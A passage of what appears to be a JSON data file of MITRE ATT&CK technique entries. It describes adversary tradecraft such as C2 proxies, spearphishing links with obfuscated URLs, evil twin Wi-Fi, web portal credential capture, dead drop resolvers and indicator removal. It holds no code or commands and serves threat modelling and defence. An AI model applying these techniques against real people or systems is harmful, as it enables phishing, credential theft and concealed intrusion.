prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1090.001", + "text": "ATT&CK technique: T1090.001 Internal Proxy\nDescription: Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment. By using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1090.002", + "text": "ATT&CK technique: T1090.002 External Proxy\nDescription: Adversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion. External connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1608.004", + "text": "ATT&CK technique: T1608.004 Drive-by Target\nDescription: Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in Drive-by Compromise. In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as Application Access Token. Prior to Drive-by Compromise, adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired (Acquire Infrastructure) or previously compromised (Compromise Infrastructure). Adversaries may upload or inject malicious web content, such as JavaScript, into websites. This may be done in a number of ways, including: * Inserting malicious scripts into web pages or other user controllable web content such as forum posts * Modifying script files served to websites from publicly writeable cloud storage buckets * Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., Malvertising) In addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in Gather Victim Host Information) to ensure it is vulnerable prior to attempting exploitation. Websites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Drive-by Compromise.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1596.004", + "text": "ATT&CK technique: T1596.004 CDNs\nDescription: Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Drive-by Compromise).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1659", + "text": "ATT&CK technique: T1659 Content Injection\nDescription: Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems. Adversaries may inject content to victim systems in various ways, including: * From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) * From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server Content injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"\nTactics: command and control, initial access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1681", + "text": "ATT&CK technique: T1681 Search Threat Vendor Data\nDescription: Threat actors may seek information/indicators from closed or open threat intelligence sources gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. These reports may include descriptions of behavior, detailed breakdowns of attacks, atomic indicators such as malware hashes or IP addresses, timelines of a group’s activity, and more. Adversaries may change their behavior when planning their future operations. Adversaries have been observed replacing atomic indicators mentioned in blog posts in under a week. Adversaries have also been seen searching for their own domain names in threat vendor data and then taking them down, likely to avoid seizure or further investigation. This technique is distinct from Threat Intel Vendors in that it describes threat actors performing reconnaissance on their own activity, not in search of victim information.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.004", + "text": "ATT&CK technique: T1557.004 Evil Twin\nDescription: Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture. By using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. Similarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network. Upon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\nTactics: collection, credential access\nPlatforms: Network Devices" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1496.004", + "text": "ATT&CK technique: T1496.004 Cloud Service Hijacking\nDescription: Adversaries may leverage compromised software-as-a-service (SaaS) applications to complete resource-intensive tasks, which may impact hosted service availability. For example, adversaries may leverage email and messaging services, such as AWS Simple Email Service (SES), AWS Simple Notification Service (SNS), SendGrid, and Twilio, in order to send large quantities of spam / Phishing emails and SMS messages. Alternatively, they may engage in LLMJacking by leveraging reverse proxies to hijack the power of cloud-hosted AI models. In some cases, adversaries may leverage services that the victim is already using. In others, particularly when the service is part of a larger cloud platform, they may first enable the service. Leveraging SaaS applications may cause the victim to incur significant financial costs, use up service quotas, and otherwise impact availability.\nTactics: impact\nPlatforms: SaaS" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1001.003", + "text": "ATT&CK technique: T1001.003 Protocol or Service Impersonation\nDescription: Adversaries may impersonate legitimate protocols or web service traffic to disguise command and control activity and thwart analysis efforts. By impersonating legitimate protocols or web services, adversaries can make their command and control traffic blend in with legitimate network traffic. Adversaries may impersonate a fake SSL/TLS handshake to make it look like subsequent traffic is SSL/TLS encrypted, potentially interfering with some security tooling, or to make the traffic look like it is related with a trusted entity. Adversaries may also leverage legitimate protocols to impersonate expected web traffic or trusted services. For example, adversaries may manipulate HTTP headers, URI endpoints, SSL certificates, and transmitted data to disguise C2 communications or mimic legitimate services such as Gmail, Google Drive, and Yahoo Messenger.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1127", + "text": "ATT&CK technique: T1127 Trusted Developer Utilities Proxy Execution\nDescription: Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions. Smart App Control is a feature of Windows that blocks applications it considers potentially malicious from running by verifying unsigned applications against a known safe list from a Microsoft cloud service before executing them. However, adversaries may leverage \"reputation hijacking\" to abuse an operating system’s trust of safe, signed applications that support the execution of arbitrary code. By leveraging Trusted Developer Utilities Proxy Execution to run their malicious code, adversaries may bypass Smart App Control protections.\nTactics: execution, stealth\nPlatforms: Windows" + }, + { + "id": "T1584", + "text": "ATT&CK technique: T1584 Compromise Infrastructure\nDescription: Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle. Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns. Adversaries may also compromise numerous machines to support Proxy and/or proxyware services or to form a botnet. Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain Initial Access via Wi-Fi Networks. By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1608.005", + "text": "ATT&CK technique: T1608.005 Link Target\nDescription: Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in Malicious Link. Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in Spearphishing Link) or a phish to gain initial access to a system (as in Spearphishing Link), an adversary must set up the resources for a link target for the spearphishing link. Typically, the resources for a link target will be an HTML page that may include some client-side script such as JavaScript to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during Spearphishing Link. Adversaries may also Upload Malware and have the link target point to malware for download/execution by the user. Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure (Domains) to help facilitate Malicious Link. Links can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing. Adversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages. In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links). Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1591.004", + "text": "ATT&CK technique: T1591.004 Identify Roles\nDescription: Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1591.003", + "text": "ATT&CK technique: T1591.003 Identify Business Tempo\nDescription: Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Supply Chain Compromise or Trusted Relationship)\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1102.001", + "text": "ATT&CK technique: T1102.001 Dead Drop Resolver\nDescription: Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1588.004", + "text": "ATT&CK technique: T1588.004 Digital Certificates\nDescription: Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Adversaries may purchase or steal SSL/TLS certificates to further their operations, such as encrypting C2 traffic (ex: Asymmetric Cryptography with Web Protocols) or even enabling Adversary-in-the-Middle if the certificate is trusted or otherwise added to the root of trust (i.e. Install Root Certificate). The purchase of digital certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal certificate materials directly from a compromised third-party, including from certificate authorities. Adversaries may register or hijack domains that they will later purchase an SSL/TLS certificate for. Certificate authorities exist that allow adversaries to acquire SSL/TLS certificates, such as domain validation certificates, for free. After obtaining a digital certificate, an adversary may then install that certificate (see Install Digital Certificate) on infrastructure under their control.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1070", + "text": "ATT&CK technique: T1070 Indicator Removal\nDescription: Adversaries may selectively delete or modify artifacts generated to reduce indications of their presence and blend in with legitimate activity. Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior. Artifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion. These actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.\nTactics: stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Office Suite, Windows, macOS" + }, + { + "id": "T1496.002", + "text": "ATT&CK technique: T1496.002 Bandwidth Hijacking\nDescription: Adversaries may leverage the network bandwidth resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents. Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services. Finally, they may engage in internet-wide scanning in order to identify additional targets for compromise. In addition to incurring potential financial costs or availability disruptions, this technique may cause reputational damage if a victim’s bandwidth is used for illegal activities.\nTactics: impact\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1590.003", + "text": "ATT&CK technique: T1590.003 Network Trust Dependencies\nDescription: Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1584.002", + "text": "ATT&CK technique: T1584.002 DNS Server\nDescription: Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: Application Layer Protocol). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations. By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary. Additionally, adversaries may leverage such control in conjunction with Digital Certificates to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications. Alternatively, they may be able to prove ownership of a domain to a SaaS service in order to assert control of the service or create a new administrative Cloud Account. Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1204.001", + "text": "ATT&CK technique: T1204.001 Malicious Link\nDescription: An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Link. Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via Exploitation for Client Execution. Links may also lead users to download files that require execution via Malicious File.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1102.002", + "text": "ATT&CK technique: T1102.002 Bidirectional Communication\nDescription: Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1204.002", + "text": "ATT&CK technique: T1204.002 Malicious File\nDescription: An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso. Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it. While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.\nTactics: execution\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1684.001", + "text": "ATT&CK technique: T1684.001 Impersonation\nDescription: Adversaries may impersonate a trusted person or organization in order to persuade and trick a target into performing some action on their behalf. For example, adversaries may communicate with victims (via Phishing for Information, Phishing, or Internal Spearphishing) while impersonating a known sender such as an executive, colleague, or third-party vendor. Established trust can then be leveraged to accomplish an adversary’s ultimate goals, possibly against multiple victims. In many cases of business email compromise or email fraud campaigns, adversaries use impersonation to defraud victims -- deceiving them into sending money or divulging information that ultimately enables Financial Theft. Adversaries will often also use social engineering techniques such as manipulative and persuasive language in email subject lines and body text such as `payment`, `request`, or `urgent` to push the victim to act quickly before malicious activity is detected. These campaigns are often specifically targeted against people who, due to job roles and/or accesses, can carry out the adversary’s goal. Impersonation is typically preceded by reconnaissance techniques such as Gather Victim Identity Information and Gather Victim Org Information as well as acquiring infrastructure such as email domains (i.e. Domains) to substantiate their false identity. There is the potential for multiple victims in campaigns involving impersonation. For example, an adversary may Compromise Accounts targeting one organization which can then be used to support impersonation against other entities.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1102", + "text": "ATT&CK technique: T1102 Web Service\nDescription: Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1020.001", + "text": "ATT&CK technique: T1020.001 Traffic Duplication\nDescription: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through ROMMONkit or Patch System Image. Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to. Adversaries may use traffic duplication in conjunction with Network Sniffing, Input Capture, or Adversary-in-the-Middle depending on the goals and objectives of the adversary.\nTactics: exfiltration\nPlatforms: IaaS, Network Devices" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1553", + "text": "ATT&CK technique: T1553 Subvert Trust Controls\nDescription: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific 